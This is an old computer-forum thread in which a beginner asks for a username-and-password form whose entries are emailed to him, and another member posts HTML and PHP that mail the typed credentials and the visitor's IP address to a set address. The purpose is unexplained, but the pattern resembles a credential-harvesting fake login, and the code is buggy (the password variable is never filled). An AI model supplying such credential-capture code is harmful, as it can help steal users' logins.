Computer Forums

Member Login

Remember Me? Sign Up! | Forgot Password
 
Slogan
 
Closed Thread
Old 10-26-2004, 07:58 AM   #1 (permalink)
 
Super Techie

Join Date: Aug 2004

Posts: 277

real_in

Send a message via Yahoo to real_in
Default Submit Button in PHP

well guys my question is jus as simple as it seems, but no one undersands it, i donn know why, i had such a long thread reagrding it but just at end i got puzzles and no one posted it's reply, So here again to ask you..


Username :- TEXTBOX

Password :- TEXTBOX


SUBMIT


weell as the name says, username and a text box field then password and again an empty textbox with ***** when filled,

So what i want is that a user puts in both things and when he/she clicks SUBMIT button both the contents are sent to me by mail.. I had a code earlier, but when i put that Php code in my webpage, it used to send the mail simply, but no Text box was introduced, please help me, i am putting the link of that thread here cause it has all the code and discussion too, if any one can edit that.. please,I would be really obliged

regards
sachin!
__________________
Realin Wuz here ...

real_in is offline  
Old 10-26-2004, 08:01 AM   #2 (permalink)
 
Super Techie

Join Date: Aug 2004

Posts: 277

real_in

Send a message via Yahoo to real_in
Default

sorry i forgot to put the thread link above so here it is

http://tech-forums.net/showthread.php?s=&threadid=28110

No doubt Sippin and Ian really helped me, but i am really a novice, please do help me, you one reply can change the way i work today..please..

regards
sachin!
__________________
Realin Wuz here ...

real_in is offline  
Old 10-26-2004, 09:56 AM   #3 (permalink)
 
Super Techie

Join Date: Jun 2004

Posts: 312

sippin codeine

Send a message via Yahoo to sippin codeine
Default

Ok, upload the following code as form.PHP to your webserver.
Code:

Please enter your username and password.</center>

<form action="mail.php" method="POST">

Username: <input type="text" name="name" size="20">


Password: <input type="text" name="password" size="20"

<input type="submit" name="submit" value="Submit">

</form>
Then upload the following code as mail.PHP to your webserver.
**make sure to put Your email address in the fieldS where it says you@you.com**
Code:
<?php

$to  = "YOU@YOU.com";

/* subject fields*/

$subject = "username and password";

$from = $_POST[name];

$email = $_POST[password];

$ip = getenv("REMOTE_ADDR");

$user = getenv("HTTP_USER_AGENT");

/* message in html format */

$message = "

<html>Username: $from



Password: $password



User IP Address: $ip



</html>";



$headers  = "MIME-Version: 1.0\r\n";

$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";

$headers .= "From: Whatever address\r\n";

$headers .= "To: You <YOU@YOU.com>\r\n";

$headers .= "Name: $_POST[name]\r\n";

mail($to, $subject, $message, $headers) or die("Can not send mail right now, please try later!");

?>

Your email has been sent
Goto /form.php of your domain.
Put some text in the boxes and press the submit button.
Check your email.
Arrange the text boxes around as you wish, after you get it working.

Also i dont know how to make the password text appear as ****** when your typing in the password, you should check google for that.

Thank shan for the code, i only modified it.
__________________
**[System specs]**

Delphi Enterprise 6 - 7
VB 6.0 - 2005 EE
sippin codeine is offline  
Old 10-26-2004, 11:06 AM   #4 (permalink)
 
Super Techie

Join Date: Jun 2004

Posts: 312

sippin codeine

Send a message via Yahoo to sippin codeine
Default

It should look like this if you do it right.


__________________
**[System specs]**

Delphi Enterprise 6 - 7
VB 6.0 - 2005 EE
sippin codeine is offline  
Old 10-26-2004, 03:14 PM   #5 (permalink)
 
Super Techie

Join Date: Aug 2004

Posts: 277

real_in

Send a message via Yahoo to real_in
Default

where the heavens is that world called thanks originated cause that is also very less to say it to you.. Ummm

i would say Lord came in you and he helped me

Thanx

regards
sachin!
__________________
Realin Wuz here ...

real_in is offline  
Old 10-26-2004, 03:15 PM   #6 (permalink)
 
Super Techie

Join Date: Aug 2004

Posts: 277

real_in

Send a message via Yahoo to real_in
Default

that was word and not world
__________________
Realin Wuz here ...

real_in is offline  
Old 10-29-2004, 12:14 PM   #7 (permalink)
 
Super Techie

Join Date: Aug 2004

Posts: 277

real_in

Send a message via Yahoo to real_in
Default

Hey Sippin donn mind, i checked your code thoroughly even tried uploading it, but it din work..

well here is the link, see it yourself..

http://memebers.lycos.co.uk/realin/form.php

but mail thing works, as i stated earlier, it just sends me a mail to the specified address, but do not grab the text from the text field, or text boxes..

help me,
sorry if i am really bugging you, but really thanx a lot..

regards
sachin!
__________________
Realin Wuz here ...

real_in is offline  
Old 10-30-2004, 07:18 PM   #8 (permalink)
 
Super Techie

Join Date: Jun 2004

Posts: 312

sippin codeine

Send a message via Yahoo to sippin codeine
Default

Your link is broken, but i know the code works because i tested it on my server. I dont know what else to tell you.
__________________
**[System specs]**

Delphi Enterprise 6 - 7
VB 6.0 - 2005 EE
sippin codeine is offline  
 
Closed Thread

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On